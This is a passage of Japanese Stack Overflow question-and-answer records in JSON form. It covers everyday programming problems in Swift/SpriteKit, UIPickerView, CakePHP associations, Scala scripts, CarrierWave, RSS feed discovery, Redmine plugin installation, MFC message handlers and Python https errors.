UIColor.redColor()\n case (1...4):\n shapeNode.strokeColor = UIColor.greenColor()\n case (5...6):\n shapeNode.strokeColor = UIColor.yellowColor()\n default:\n print(\"Error\")\n }\n // 線の太さを指定\n shapeNode.lineWidth = 1.0\n \n }\n }\n \n```", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T04:44:15.690", "favorite_count": 0, "id": "20498", "last_activity_date": "2016-01-03T13:33:39.563", "last_edit_date": "2016-01-03T13:33:39.563", "last_editor_user_id": "13156", "owner_user_id": "13156", "post_type": "question", "score": 1, "tags": [ "swift", "xcode" ], "title": "GameSceneにUISegmentedControlを実装したいのですが・・・。", "view_count": 330 }
[ { "body": "UISegmentedControlで色を選択したときに例外が発生する原因は、mySegcon.addTarget()で指定しているsegconChanged()が呼び出せないためです。現在のSwiftでは、関数の内部関数をaddTarget()で指定することはできません。\n\nsegconChanged()を通常のメンバー関数にして、その形に合うようにSKShapeNode周りの処理を書き直せば、色の選択でSKShapeNodeの色が変わるようになります。\n\n以下、こちらで動作を確認したソースです。 \n(Xcode 7.2 / iOS9で確認)\n\n```\n\n import SpriteKit\n \n class GameScene: SKScene {\n \n var myImage : SKSpriteNode!\n \n override func didMoveToView(view: SKView) {\n \n //背景画像。SKSPriteNodeで画像を読み込む。\n let backGround = SKSpriteNode(imageNamed:\"stadium414736.png\")\n \n //画面サイズを取得\n let Label = SKLabelNode(text: \"\\(self.size)\")\n Label.position = CGPointMake(self.size.width/2.0,self.size.height/2.0)\n \n //背景を画面の中央に配置する\n backGround.position = CGPointMake(CGRectGetMidX(self.frame), CGRectGetMidY(self.frame))\n \n //画像のサイズを画面に合わせる\n backGround.size = self.size\n \n //画像を最下層に設置\n backGround.zPosition = -CGFloat.infinity\n \n // シーンに追加.\n self.addChild(backGround)\n \n // GameSceneの背景色を青色にする.\n self.backgroundColor = UIColor.blueColor()\n \n // ボール画像を生成.\n myImage = SKSpriteNode(imageNamed:\"ball04.png\")\n \n // ボール画像の描画場所を指定.\n myImage.position = CGPoint(x:CGRectGetMidX(self.frame), y:CGRectGetMidY(self.frame));\n \n // シーンに追加.\n self.addChild(myImage)\n \n // 表示する配列を作成する.\n let myArray: NSArray = [\" Red \",\" Blue \",\" Green \"]\n \n // SegmentedControlを作成する.\n let mySegcon: UISegmentedControl = UISegmentedControl(items: myArray as [AnyObject])\n // mySegcon.center = CGPoint(x:(size.width / 5.0) * 2 , y:(size.height / 35) * 24)\n mySegcon.center = CGPoint(x:120 , y:(size.height / 35) * 24)\n mySegcon.tintColor = UIColor.yellowColor()\n \n // イベントを追加する.\n mySegcon.addTarget(self, action: \"segconChanged:\", forControlEvents: UIControlEvents.ValueChanged)\n \n // Viewに追加する.\n self.view!.addSubview(mySegcon)\n }\n \n override func touchesBegan(touches: Set<UITouch>, withEvent event: UIEvent?) {\n for touch: AnyObject in touches {\n \n // タッチされた場所の座標を取得.\n let location = touch.locationInNode(self)\n \n //画面の中心\n let midX = CGRectGetMidX(self.frame)\n let midY = CGRectGetMidY(self.frame)\n \n // ボール位置・軌跡のエリア条件\n let area2 = (location.x - midX) / (location.y - (midY - (midY / 5.0)))\n if location.y > midY - (midY / 5.0) {\n if area2 >= -1 && area2 <= 1 {\n \n // タッチされた場所に画像を移動\n myImage.position = location\n \n // 始点を記憶するインスタンス変数\n var position = CGPointZero\n \n // 始点を記憶\n position = self.convertPointFromView((touches.first?.locationInView(view))!)\n \n // CGPathを生成\n let path = CGPathCreateMutable()\n \n // 描画のペンを始点に移動\n CGPathMoveToPoint(path, nil, position.x, position.y)\n \n // カーブを描く\n CGPathAddCurveToPoint(path, nil, (position.x + midX) / 2.0 , (position.y + (midY / 2.5)), midX, position.y, midX, midY)\n \n // \"curve\"という名前のノードがあったら消去する\n if let theNode = self.childNodeWithName(\"curve\") {\n theNode.removeFromParent()\n }\n \n // pathからSKShapeNodeを生成。\n let shapeNode = SKShapeNode(path: path)\n \n // ノードに名前を付ける\n shapeNode.name = \"curve\"\n \n // 線の色を指定\n shapeNode.strokeColor = UIColor.greenColor()\n \n self.addChild(shapeNode)\n \n // ここにあったsegconChangedを外に出す\n }\n }\n }\n }\n \n //SegmentedControlの値が変わったときに呼び出される.\n func segconChanged(segcon: UISegmentedControl){\n \n // shapeNodeを取得\n guard let shapeNode = childNodeWithName(\"curve\") as? SKShapeNode else {\n return\n }\n \n switch segcon.selectedSegmentIndex {\n case 0:\n shapeNode.strokeColor = UIColor.redColor()\n \n case 1:\n shapeNode.strokeColor = UIColor.blueColor()\n \n case 2:\n shapeNode.strokeColor = UIColor.greenColor()\n \n default:\n print(\"Error\")\n }\n \n // 線の太さを指定\n shapeNode.lineWidth = 1.0\n \n // すでに登録済み\n // Sceneに乗せる\n // self.addChild(shapeNode)\n \n // Viewに追加する.\n //self.view!.addSubview(mySegcon)\n \n // 打球到達エリア判定\n //\n \n //画面の中心\n let midX = CGRectGetMidX(self.frame)\n let midY = CGRectGetMidY(self.frame)\n \n let area1 = ((position.x - midX) / (position.y - midY))\n \n if position.y - midY <= 0 && position.x - midX <= 0 {\n print(\"left\")\n } else if position.y - midY < 0 && position.x - midX > 0 {\n print(\"right\")\n } else if area1 < -0.3 {\n print(\"left\")\n } else if area1 >= -0.3 && area1 <= 0.3 {\n print(\"center\")\n } else if area1 > 0.3 {\n print(\"right\")\n }\n }\n }\n \n```", "comment_count": 6, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-01T10:01:43.190", "id": "20521", "last_activity_date": "2016-01-01T10:01:43.190", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7459", "parent_id": "20498", "post_type": "answer", "score": 3 } ]
20498
20521
20521
{ "accepted_answer_id": null, "answer_count": 1, "body": "UITextFieldの入力にPickerを使う方法はわかるですが、初期値の設定がうまくいかず困っています。\n\nソースコードは後述の様な概要で、他のViewでButtonをTapしConditionViewControllerに遷移してきます。その際に前のViewでTapしたButtonの種類に応じて、初期値をPckerに設定したいと思っています。現状のソースコードでエラー無く動いています。後述には関係なさそうなコードは省略しています。\n\nネットやgithubで検索したところ、TextFieldを使わない状態でのPckerでの初期値設定方法は \n簡単に出てくるのですが、TextFieldを使った例が出てこず困っています。\n\nどのようにすればご教示いただきたいです。\n\n環境 \nXcode7.1\n\nコード\n\n```\n\n class ConditionViewController: UIViewController, UIPickerViewDelegate,UIPickerViewDataSource {\n \n @IBOutlet weak var location: UITextField!\n let locationPickerView = UIPickerView()\n override func viewDidLoad() {\n super.viewDidLoad()\n _setPcker()\n \n }\n \n func _setPcker() {\n locationPickerView.delegate = self\n locationPickerView.dataSource = self\n // ここで初期値を設定しているつもりが、設定されない\n locationPickerView.selectRow(0, inComponent: 0, animated: false)\n location.inputView = locationPickerView\n }\n \n```", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T07:47:05.353", "favorite_count": 0, "id": "20503", "last_activity_date": "2015-12-31T12:48:33.003", "last_edit_date": "2015-12-31T11:45:11.547", "last_editor_user_id": "5852", "owner_user_id": "5852", "post_type": "question", "score": 0, "tags": [ "ios", "swift", "xcode" ], "title": "SwiftでUITextFieldの入力に設定したPickerの初期値の設定方法をご教示ください", "view_count": 6708 }
[ { "body": "こちらで以下のソースを使ってテストしてみましたが、問題なく初期値が設定できています。どこか、他の部分に原因があるのではないでしょうか? (Xcode 7.2\n/ iOS9で確認)\n\n```\n\n import UIKit\n \n class ViewController: UIViewController, UIPickerViewDelegate, UIPickerViewDataSource {\n \n @IBOutlet weak var location: UITextField!\n let locationPickerView = UIPickerView()\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n _setPcker()\n }\n \n func _setPcker() {\n locationPickerView.delegate = self\n locationPickerView.dataSource = self\n \n // ここで初期値を設定しているつもりが、設定されない\n locationPickerView.selectRow(5, inComponent: 0, animated: false)\n location.inputView = locationPickerView\n }\n \n func numberOfComponentsInPickerView(pickerView: UIPickerView) -> Int {\n return 1\n }\n \n func pickerView(pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int {\n return 10\n }\n \n func pickerView(pickerView: UIPickerView, widthForComponent component: Int) -> CGFloat {\n return 120\n }\n \n func pickerView(pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? {\n return \"Item \\(row)\"\n }\n \n func pickerView(pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) {\n location.text = \"Item \\(row)\"\n }\n }\n \n```\n\n実行時の画面はこんな感じになりました。\n\n[![UIPickerViewが表示された画面](https://i.stack.imgur.com/Msb57.png)](https://i.stack.imgur.com/Msb57.png)", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T12:48:33.003", "id": "20511", "last_activity_date": "2015-12-31T12:48:33.003", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7459", "parent_id": "20503", "post_type": "answer", "score": 1 } ]
20503
null
20511
{ "accepted_answer_id": null, "answer_count": 1, "body": "cakeのアソシエーションを勉強し始めましたが早速つまづきましたので \nヘルプ求めます!><\n\n以下のようなエラーがでます。(画像も添付します) \nError: SQLSTATE[42S22]: Column not found: 1054 Unknown column 'User.email' in\n'field list'\n\n[![エラー画像](https://i.stack.imgur.com/iNVHw.png)](https://i.stack.imgur.com/iNVHw.png)\n\n食べログのようなものを練習で作ってます。 \n各お店に複数のユーザーがレビューを投稿できるようにする機能です。 \nusersテーブルとreviewsテーブルがあり、これらをアソシエーションで連結させたいです。 \n(foreignKeyはuser_idです)\n\nusersテーブルにはemail.id共に存在するのですが、 \nなぜか上記のようなエラーが表示されてしまいます。\n\n少し調べると下記のような記事を発見しました。 \n<http://fr-soft.com/cake/?p=32>\n\nこれと同じような事象でしょうか? \n(cakeではjoinが実行されない?)\n\n実コードは以下に記載いたします。\n\ngetListByShopIdが各ショップごとのレビューを表示させる \nメソッドになります。\n\n<Review.php> \n\n```\n\n class Review extends AppModel {\n public $belongTo = array(\n 'User' => array(\n 'className' => 'User',\n ),\n 'Shop' => array(\n 'className' => 'Shop'\n )\n );\n \n public function isReview ($shopId, $userId) {\n $review = $this->getData($shopId, $userId);\n return !empty($review) ? true : false;\n }\n \n public function getData($shopId, $userId) {\n $options = array(\n 'conditions' => array(\n 'shop_id' => $shopId,\n 'user_id' => $userId\n )\n );\n return $this->find('first', $options);\n }\n \n public function getReviewCnt($userId) {\n $options = array(\n 'condition' => array(\n 'user_id' => $userId\n )\n );\n \n return $this->find('count', $options);\n }\n \n public function getListByShopId($shopId) {\n $options = array(\n 'fields' =>\n array('Review.id', 'Review.user_id', 'Review.title', 'Review.body', 'Review.score', 'Review.created', 'User.email', 'User.id'),\n 'conditions' => array('Review.shop_id' => $shopId),\n 'recursive' => 2\n );\n return $this->find('all', $options);\n }\n \n public function getScoreAvg($shopId) {\n $options = array(\n 'fields' => 'AVG(score) as avg',\n 'conditions' => array('shop_id' => $shopId),\n 'group' => array('shop_id')\n );\n \n $data = $this->find('first', $options);\n $score = $scoreAve = 0;\n if (!empty($data[0]['avg'])) {\n $score = round($data[0]['avg']);\n $scoreAve = round($data[0]['avg'], 1);\n }\n return array($score, $scoreAve);\n }\n }\n \n ?>\n \n```\n\n<User.php>\n\n```\n\n <?php\n \n class User extends AppModel {\n \n public $hasMany = array(\n 'Review' => array(\n 'className' => 'Review'\n )\n );\n \n public $validate = array(\n 'email' => array(\n 'validEmail' => array(\n 'rule' => array('email'),\n 'message' => 'メールアドレスを入力してください'\n ),\n \n 'emailExists' => array(\n 'rule' => array('isUnique', array('email')),\n 'message' => '既に登録済みです'\n )\n ),\n \n 'password' => array(\n 'match' => array(\n 'rule' => array(\n 'confPassword', 'passwordconf' // confPassword(関数名)の呼び出し\n ),\n 'message' => 'パスワードが一致しません'\n )\n ),\n \n 'passwordold' => array(\n 'match' => array('rule' => array('oldPassword', 'passwordold'),\n 'message' => '旧パスワードが一致しません'\n )\n )\n );\n \n public function confPassword($field,$colum) { // $columはどこから出てきたのか\n if ($field['password'] === $this->data['User'][$colum]) { // $field['password'] = password, $this->data['User'][$colum] = passwordconf\n $this->data['User']['password'] = Authcomponent::password($field['password']);\n return true;\n }\n }\n \n public function oldPassword($field, $colum) { // $field = usersテーブルのpassword, $colum = passwordold\n $passwordold = Authcomponent::password($field[$colum]); // $passwordoldの暗号化\n $row = $this->findById($this->data['User']['id']);// usersテーブルのidを$rowに格納\n \n if ($passwordold === $row['User']['password']) { // $passwordoldとusersテーブルのpasswordを照合\n return true;\n }\n }\n }\n \n ?>\n \n```\n\n<Shop.php>\n\n```\n\n <?php\n \n class Shop extends AppModel {\n public $validate = array(\n 'name' => array(\n 'rule' => array('notBlank')\n ),\n \n 'tel' => array(\n 'rule' => array('notBlank')\n ),\n \n 'addr' => array(\n 'rule' => array('notBlank')\n ),\n \n 'url' => array(\n 'rule' => array('url'),\n 'message' => '形式が正しくありません'\n )\n );\n \n public $hasMany = array(\n 'Review' => array(\n 'className' => 'Review',\n 'order' => 'Review.created DESC'\n )\n );\n }\n \n ?>\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T10:54:22.377", "favorite_count": 0, "id": "20507", "last_activity_date": "2016-10-20T01:53:49.983", "last_edit_date": "2016-03-09T05:52:25.307", "last_editor_user_id": "5793", "owner_user_id": "7176", "post_type": "question", "score": 0, "tags": [ "php", "cakephp" ], "title": "cakephpのhasmanyで結合先のカラムが存在しないというエラー事象", "view_count": 1111 }
[ { "body": "Review.php にて下記のようになっていますが\n\n```\n\n public $belongTo = array(・・・);\n \n```\n\n$belong「s」To ではないでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-03-09T08:06:21.250", "id": "22947", "last_activity_date": "2016-03-09T08:06:21.250", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "14704", "parent_id": "20507", "post_type": "answer", "score": 1 } ]
20507
null
22947
{ "accepted_answer_id": "20518", "answer_count": 3, "body": "scala コマンドで *.scala ファイルをスクリプトのように実行する場合の、 \nクラス定義の書き方について質問させてください。\n\n```\n\n // a.scala\n object Main {\n def main(args: Array[String]) {\n println(\"hello\")\n }\n }\n \n```\n\n上の a.scala ファイルを scala コマンドで実行すると、main メソッドが呼び出されて \nhello と表示されます。\n\n```\n\n $ scala a.scala\n hello\n \n```\n\n次に a.scala にクラス Foo の定義を追加すると、今度は main メソッドが呼び出されなくなります。\n\n```\n\n // a.scala\n class Foo {} // クラス定義を追加する\n \n object Main {\n def main(args: Array[String]) {\n println(\"hello\")\n }\n }\n \n```\n\nscala コマンドで実行してみると、main メソッドが呼ばれなくなりました。\n\n```\n\n $ scala a.scala\n $ # 何も表示されない\n \n```\n\n以下の方法ですと、main メソッドが実行されることは確認しています。\n\n * scalac コマンドでコンパイルしてから、scala Main を実行\n * クラス Foo の定義を、Main の中で定義する\n\n質問なのですが、Main の外でクラス Foo を定義して、 \nscala a.scala で main メソッドを呼ぶ方法はないのでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T14:41:16.703", "favorite_count": 0, "id": "20514", "last_activity_date": "2016-01-01T07:34:49.177", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13856", "post_type": "question", "score": 2, "tags": [ "scala" ], "title": "Scala: クラス定義を追加すると、scala コマンドで main メソッドが実行されなくなる", "view_count": 1149 }
[ { "body": "最後に \n`Main.main(args)` \nを追加して書いて明示的に呼び出す。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T14:59:55.257", "id": "20515", "last_activity_date": "2015-12-31T14:59:55.257", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5044", "parent_id": "20514", "post_type": "answer", "score": 1 }, { "body": "## 方法1\n\n`scalac`でコンパイルして実行する \n<http://www.scala-lang.org/documentation/getting-started.html#compile-it>\n\n```\n\n > scalac a.scala\n > ls\n \n Mode LastWriteTime Length Name\n ---- ------------- ------ ----\n -a---- 2016/01/01 14:13 122 a.scala\n -a---- 2016/01/01 14:13 474 Foo.class\n -a---- 2016/01/01 14:13 608 Main$.class\n -a---- 2016/01/01 14:13 546 Main.class\n \n > scala Main\n hello\n \n```\n\n## 方法2\n\n`scala`コマンドはコードをスクリプトとして実行します。 \nそしてコードがmainメソッドのあるclassまたはobjectだけの場合は、mainメソッドを自動で実行してくれます。\n\n**類似の質問への回答** \n<https://stackoverflow.com/a/16993075/4366193>\n\n今回のようなコードでは`object Main`と`class Foo`の定義のみでスクリプトが終了し、mainメソッドは自動で実行されません。 \nBLUEPIXYさんの回答のように明示的に`Main.main(args)`を呼び出せば実行されます。\n\n```\n\n class Foo {}\n \n object Main {\n def main(args: Array[String]) {\n println(\"hello\")\n }\n }\n \n Main.main(args)\n \n```\n\n## 方法3\n\n方法2をふまえると`object Main`だけがトップレベルで定義されていればmainメソッドが自動で実行されますので、`object\nMain`内に`class Foo`を定義する方法があります。\n\n```\n\n object Main {\n def main(args: Array[String]): Unit = {\n Foo.hello()\n }\n \n class Foo\n \n object Foo {\n def hello(): Unit = {\n println(\"hello\")\n }\n }\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-01T06:27:25.083", "id": "20518", "last_activity_date": "2016-01-01T06:48:51.507", "last_edit_date": "2017-05-23T12:38:55.250", "last_editor_user_id": "-1", "owner_user_id": "3068", "parent_id": "20514", "post_type": "answer", "score": 2 }, { "body": "ソースコードを変更したくない場合は、以下の様にすると良いかと思います。\n\n```\n\n $ scala -i a.scala -e 'Main.main(args)'\n \n```\n\nその他には sbt を使う方法もあります。\n\n```\n\n $ sbt 'run-main Main'\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-01T07:34:49.177", "id": "20519", "last_activity_date": "2016-01-01T07:34:49.177", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20514", "post_type": "answer", "score": 2 } ]
20514
20518
20518
{ "accepted_answer_id": "20517", "answer_count": 1, "body": "`CarrierWave`のuploaderを持つ`Voice`というモデルがあり\n\n```\n\n class Voice < ActiveRecord::Base\n mount_uploader :sound, SoundUploader\n end\n \n```\n\nこれにファイルのアップロードは正常に行えたようなのですが、`CarrierWav::SanitizedFile`の`@original_filename`の扱いがよくわかりません。\n\n```\n\n pry(main)> voice.sound.file\n => #<CarrierWave::SanitizedFile:0x007f94cbfc4d58\n @content_type=\"audio/x-wav\",\n @file=\"/Users/ironsand/dev/nativephrase/public/uploads/voice/sound/21/something.wav\",\n @original_filename=nil>\n \n```\n\nと`@original_filename`が`nil`になってるにもかかわらず\n\n```\n\n pry(main)> voice.sound.file.original_filename\n => \"something.wav\"\n \n```\n\nのように値が取得できます。\n\nここで呼び出してるのがインスタンスメソッドではなく`original_filename`というメソッドだと言うことはわかったのですが、インスタンス変数の`@original_filename`が`nil`のままにされているのかよくわかりませんでした。\n\n何か`nil`のままにしておくことで利点があるのでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-31T21:11:47.190", "favorite_count": 0, "id": "20516", "last_activity_date": "2016-01-01T01:02:22.733", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3271", "post_type": "question", "score": 0, "tags": [ "ruby-on-rails", "carrierwave" ], "title": "CarrierWave::SanitizedFileの @original_filename の扱いについて", "view_count": 953 }
[ { "body": "`nil` にしておくことに利点があるのではなく、 \nファイルをアップロードするときに使っているだけである、と推察できます。 \nファイルがストレージにあるときは、そこからファイル名が取得できるので、`nil`なのではないかと。\n\n```\n\n def file=(file)\n if file.is_a?(Hash)\n @file = file[\"tempfile\"] || file[:tempfile]\n @original_filename = file[\"filename\"] || file[:filename]\n @content_type = file[\"content_type\"] || file[:content_type] || file[\"type\"] || file[:type]\n else\n @file = file\n @original_filename = nil\n @content_type = nil\n end\n end\n \n```\n\n<https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/sanitized_file.rb#L288-L298>\n\nただ、実行時に一時的にファイル名を書き換えることに使えそうだ、とは思います。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-01T01:02:22.733", "id": "20517", "last_activity_date": "2016-01-01T01:02:22.733", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7471", "parent_id": "20516", "post_type": "answer", "score": 0 } ]
20516
20517
20517
{ "accepted_answer_id": null, "answer_count": 1, "body": "任意のサイトのURLを入力することで、そのサイトにフィード(RSS,atom)があるかを調べ \nある場合はそのフィードを返すプログラムを考えています。 \n具体的には下記です。\n\n<http://berss.com/feed/Find.aspx> \n<http://php.s307.xrea.com/>\n\nこれらのプログラムはおおよそどのような仕組みで動いているのでしょうか? \nどのような手法・考えで実装しているかが知りたいです。\n\n考えたものは下記ですが意図した結果になりませんでした。\n\n・ドメインから /feed/ ,/index.rdf, /?xml, /feed/rss/, \nなど「良くあるfeedのURLを付け足して総当りで調べる \n→「よくあるURL」以外をどう探すのか\n\n・Googleにて 上記よくあるURLを付け足して検索 \n→検索結果に出てこなかった", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-01T14:12:21.053", "favorite_count": 0, "id": "20523", "last_activity_date": "2016-01-02T00:19:21.200", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12948", "post_type": "question", "score": 1, "tags": [ "php" ], "title": "フィード(RSS) 取得・検出 プログラムの仕組み(PHPorJAVA)", "view_count": 411 }
[ { "body": "通常、[RSS Autodiscovery](http://www.rssboard.org/rss-\nautodiscovery)という仕様にもとづいてURLを取得することが多いと思います。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T00:19:21.200", "id": "20526", "last_activity_date": "2016-01-02T00:19:21.200", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "4010", "parent_id": "20523", "post_type": "answer", "score": 1 } ]
20523
null
20526
{ "accepted_answer_id": null, "answer_count": 1, "body": "redmine3.2へpluginのbacklog1.0.0をインストールしようとすると下記のエラーが出ます。 \n解決策をおしえていただけますでしょうか。よろしくお願いします。\n\n```\n\n [root@localhost redmine]# bundle exec rake redmine:backlogs:install\n \n [!] There was an error parsing `Gemfile`: \n [!] There was an error parsing `Gemfile`: You cannot specify the same gem twice with different version requirements.\n You specified: nokogiri (>= 1.6.7.1) and nokogiri (>= 0). Bundler cannot continue.\n \n # from /var/www/redmine/plugins/redmine_backlogs/Gemfile:13\n # -------------------------------------------\n # gem \"icalendar\"\n > gem \"nokogiri\"\n # gem \"open-uri-cached\"\n # -------------------------------------------\n . Bundler cannot continue.\n \n # from /var/www/redmine/Gemfile:113\n # -------------------------------------------\n # Dir.glob File.expand_path(\"../plugins/*/{Gemfile,PluginGemfile}\", __FILE__) do |file|\n > eval_gemfile file\n # end\n # -------------------------------------------\n \n```\n\n追記\n\n> Gemfileを修正してgem \"nokogiri\", \"=>1.6.7.1\"にするとどうでしょうか。\n>\n> 参考) \n> <https://github.com/Hopebaytech/redmine_mail_reminder/issues/58>\n\n上記のよう修正しましたらまた違うエラーがでてしました。\n\n```\n\n [picolit@localhost redmine]$ bundle exec rake redmine:backlogs:install\n Could not find gem 'capybara (~> 1.1.0)' in any of the gem sources\n listed in your Gemfile or available on this machine. Run bundle\n install to install missing gems.\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-01T15:55:30.090", "favorite_count": 0, "id": "20524", "last_activity_date": "2016-01-04T09:22:02.523", "last_edit_date": "2016-01-04T09:22:02.523", "last_editor_user_id": "10092", "owner_user_id": "10092", "post_type": "question", "score": 0, "tags": [ "redmine" ], "title": "redmineにbacklogインストール時エラー", "view_count": 3659 }
[ { "body": "Gemfileを修正して`gem \"nokogiri\", \"=>1.6.7.1\"`にするとどうでしょうか。\n\n参考) \n<https://github.com/Hopebaytech/redmine_mail_reminder/issues/58>", "comment_count": 4, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T15:55:32.103", "id": "20545", "last_activity_date": "2016-01-02T16:54:21.037", "last_edit_date": "2016-01-02T16:54:21.037", "last_editor_user_id": "5008", "owner_user_id": "5008", "parent_id": "20524", "post_type": "answer", "score": 1 } ]
20524
null
20545
{ "accepted_answer_id": "20528", "answer_count": 1, "body": "MFCでプログラミングをしていますが、クラスウィザードでハンドラーを追加すると以下のようなコードが追加されると思います。\n\n```\n\n void CSampleView::OnMouseMove(UINT nFlags, CPoint point)\n {\n // TODO: ここにメッセージ ハンドラ コードを追加するか、既定の処理を呼び出します。\n CView::OnMouseMove(nFlags, point);\n }\n \n```\n\n例えばこれを\n\n```\n\n void CSampleView::OnMouseMove(UINT nFlags, CPoint point)\n {\n // TODO: ここにメッセージ ハンドラ コードを追加するか、既定の処理を呼び出します。\n return;\n CView::OnMouseMove(nFlags, point);\n }\n \n```\n\nなどとした場合、何か不具合があるのでしょうか。これはTODOで書かれている「既定の処理」であり自分の処理をする場合、無視してもよいものでしょうか。 \nCViewのメンバ関数をF12でたどってもインラインのよくわからない記述しかなく、余計な関数であれば呼びたくないのですが。あまり経験がないのでよくわからないというところです。\n\n* * *\n\nコメントのMarkdownが機能しないので、ここに書いておきます。\n\n```\n\n void CSampleView::OnMouseMove(UINT nFlags, CPoint point) \n { \n // TODO: ここにメッセージ ハンドラ コードを追加するか、既定の処理を呼び出します。 \n if(point.x>0)\n {\n m_moving_flag = true; // m_moving_flag is member variable of View class\n CView::OnMouseMove(nFlags, point);\n return;\n }\n CView::OnMouseMove(nFlags, point);\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T02:33:15.550", "favorite_count": 0, "id": "20527", "last_activity_date": "2016-01-02T12:33:55.777", "last_edit_date": "2016-01-02T08:33:45.217", "last_editor_user_id": "8000", "owner_user_id": "5835", "post_type": "question", "score": 2, "tags": [ "c++", "windows", "mfc" ], "title": "MFCで自動生成されるCViewのメンバ関数を呼ばないとどうなるか", "view_count": 746 }
[ { "body": "TODOコメントにある通り、特に処理を追加しないのであれば、\n\n```\n\n CView::OnMouseMove(nFlags, point);\n \n```\n\nを呼ばなければなりません。\n\nMFCは基本的にはWindowsのGUIを構成するWindow Proceduresをラップしたものですので、Window\nProceduresの仕様に従う必要があります。[Using Window\nProcedures](https://msdn.microsoft.com/en-\nus/library/ms633570\\(v=vs.85\\).aspx#designing_proc)で\n\n> For messages that it does not process, the window procedure calls the\n> **DefWindowProc** function.\n\nと説明されているようにメッセージを処理しない場合は[DefWindowProc()](https://msdn.microsoft.com/en-\nus/library/ms633572\\(v=vs.85\\).aspx)を呼び出す必要があります。MFCでは[CWnd::Default()](https://msdn.microsoft.com/ja-\njp/library/ww9f7hst.aspx)にてその処理が実装されており、また[CWnd::OnMouseMove()](https://msdn.microsoft.com/ja-\njp/library/3158baat.aspx)は`CWnd::Default()`ひいては`DefWindowProc()`を呼び出すように設計されています。 \nですので、特に処理を追加しないのであればこの呼び出しを省略することはできません。\n\n* * *\n\n> 「特に処理をする」というのは CDC* pDC = GetDC() を呼んで後にデバイスコンテキストを関係させるような処理なのでしょうか。\n\nこの点、あいまいでした。一概に回答できません。 \nWindow Proceduresをラップしたものですので、`CView::OnMouseMove()`はそれに対応する[WM_MOUSEMOVE\nmessage](https://msdn.microsoft.com/en-\nus/library/ms645616\\(v=vs.85\\).aspx)に説明されている処理を行う必要があります。といってもこの例に関していえば特にすべき処理は言及されていないため、処理したと考えてもいいのかもしれません。処理した場合は\n\n> it should return zero.\n\nを実現すればいいところですが…`CView::OnMouseMove()`ハンドラーは戻り値が`void`であり簡単にはいきませんので、やはり`CView::OnMouseMove(nFlags,\npoint)`を呼ぶことでしょうか。\n\n厳密な話をすると`wincore.cpp`に実装されている`CWnd::OnDndMsg()`は最初の行に\n\n```\n\n LRESULT lResult = 0;\n \n```\n\nとあり、その後、特に値を変更していないのでこの値が返されるようです。ここまで把握していれば`CView::OnMouseMove(nFlags,\npoint)`を呼ばなくてもいいかもしれません。(私も回答するにあたって調べただけで普段は深く考えずに呼び出しています。)", "comment_count": 4, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T03:33:20.770", "id": "20528", "last_activity_date": "2016-01-02T12:33:55.777", "last_edit_date": "2016-01-02T12:33:55.777", "last_editor_user_id": "4236", "owner_user_id": "4236", "parent_id": "20527", "post_type": "answer", "score": 3 } ]
20527
20528
20528
{ "accepted_answer_id": "20537", "answer_count": 1, "body": "python3でurlを開こうとすると以下のエラーが出てしまいます。 \n対処法を教えていただけませんでしょうか。環境はゲストOSのcentos7です。\n\n■code\n\n```\n\n # -*- coding: utf-8 -*-\n from xml.etree.ElementTree import *\n from urllib.request import urlopen\n from urllib.parse import urlparse\n \n \n url = ('https://hogehoge.com')\n response = urlopen(url)\n html = response.read()\n \n print (html)\n \n```\n\n■error \n`<urlopen error unknown url type: https>`", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T05:25:51.567", "favorite_count": 0, "id": "20530", "last_activity_date": "2016-01-02T11:20:50.563", "last_edit_date": "2016-01-02T06:15:57.863", "last_editor_user_id": "2901", "owner_user_id": "13859", "post_type": "question", "score": 0, "tags": [ "python" ], "title": "python3で<urlopen error unknown url type: https>の対処法", "view_count": 3437 }
[ { "body": "1. Pythonをソースコードからビルドしましたか?\n 2. PythonのSSLモジュールが利用出来ないのでは?( `import ssl` を試してみてください)\n\nhttps、つまりSSL通信ができないPython環境なのではないかと推測します。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-02T11:20:50.563", "id": "20537", "last_activity_date": "2016-01-02T11:20:50.563", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "806", "parent_id": "20530", "post_type": "answer", "score": 1 } ]
20530
20537
20537
